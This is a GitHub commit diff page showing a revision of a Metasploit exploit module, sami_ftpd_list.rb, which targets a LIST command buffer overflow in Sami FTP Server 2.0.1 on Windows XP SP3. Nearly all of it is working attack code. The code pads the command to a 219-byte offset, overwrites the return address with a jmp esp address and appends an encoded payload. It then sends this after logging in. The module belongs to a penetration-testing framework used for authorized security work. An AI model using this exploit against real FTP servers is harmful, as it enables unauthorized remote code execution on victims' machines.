Skip to content

Commit bbbf395

Browse files
committed
got everything working and cleaned up
1 parent 1f7b2a8 commit bbbf395

File tree

1 file changed

+40
-35
lines changed

1 file changed

+40
-35
lines changed

modules/exploits/windows/ftp/sami_ftpd_list.rb

Lines changed: 40 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -1,69 +1,74 @@
11
##
22
# This file is part of the Metasploit Framework and may be subject to
33
# redistribution and commercial restrictions. Please see the Metasploit
4-
# web site for more information on licensing and terms of use.
5-
# http://metasploit.com/
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
66
##
77

88
require 'msf/core'
99

1010
class Metasploit4 < Msf::Exploit::Remote
11-
Rank = NormalRanking
11+
Rank = AverageRanking
1212

13-
include Msf::Exploit::Remote::Tcp
14-
#include Msf::Exploit::Remote::Seh
13+
include Msf::Exploit::Remote::Ftp
1514

1615
def initialize(info = {})
1716
super(update_info(info,
18-
'Name' => 'KarjaSoft Sami FTP Server LIST Overflow',
19-
'Description' => %q{
20-
A buffer overflow is triggered when a long LIST command is sent to the
21-
server and the user views the Log tab.
17+
'Name' => 'Sami FTP Server 2.0.1 LIST Command Buffer Overflow',
18+
'Description' => %q{
19+
A buffer overflow is triggered when a long LIST
20+
command is sent to the server and the user views the Log tab.
2221
},
23-
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
24-
'License' => MSF_LICENSE,
25-
'References' =>
22+
'Platform' => 'Windows',
23+
'Author' =>
24+
[
25+
'superkojiman', # Original exploit
26+
'Doug Prostko <dougtko[at]gmail.com>' # MSF module
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' =>
2630
[
2731
[ 'OSVDB', '90815'],
2832
[ 'EDB', '24557'],
29-
[ 'URL', 'http://www.exploit-db.com/exploits/24557/'],
3033
],
3134
'DefaultOptions' =>
3235
{
3336
'EXITFUNC' => 'seh',
37+
'target' => 0
3438
},
35-
'Platform' => ['win'],
36-
'Privileged' => false,
37-
'Payload' =>
39+
'Privileged' => false,
40+
'Payload' =>
3841
{
39-
'Space' => 950,
40-
'BadChars' => "\x00\x0a\x0d\x20\xff",
42+
'Space' => 900,
43+
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
44+
'StackAdjustment' => -3500,
4145
},
42-
'Targets' =>
46+
'Targets' =>
4347
[
44-
[ 'Automatic Targeting', { 'Ret' => 0x10028283, 'auto' => true } ], # jmp esp
48+
[
49+
'Windows XP English SP3',
50+
{
51+
'Platform' => 'win',
52+
'Ret' => 0x10028283,
53+
'Offset' => 219,
54+
},
55+
],
4556
],
4657
'DisclosureDate' => 'Feb 27 2013'))
47-
48-
register_options(
49-
[
50-
Opt::RPORT(21),
51-
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
52-
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
53-
], self.class)
5458
end
5559

5660
def exploit
5761
connect
5862

59-
buf = rand_text_alphanumeric(219)
60-
buf << [target.ret].pack("V")
61-
buf << make_nops(50) + payload.encoded
62-
sock.put("USER #{datastore['FTPUSER']}\r\n")
63-
sock.put("PASS #{datastore['FTPPASS']}\r\n")
64-
sleep 0.5
65-
print_status("Sending evil LIST command")
66-
sock.put("LIST #{buf}\r\n")
63+
print_status("Trying target #{target.name}...")
64+
65+
buf = rand_text_english(target['Offset'], payload_badchars)
66+
buf << [ target['Ret'] ].pack('V')
67+
buf << payload.encoded
68+
69+
send_cmd( ['USER', datastore['FTPUSER']] , false )
70+
send_cmd( ['PASS', datastore['FTPPASS']], false )
71+
send_cmd( ['LIST', buf], false )
6772

6873
handler
6974
disconnect

0 commit comments

Comments
 (0)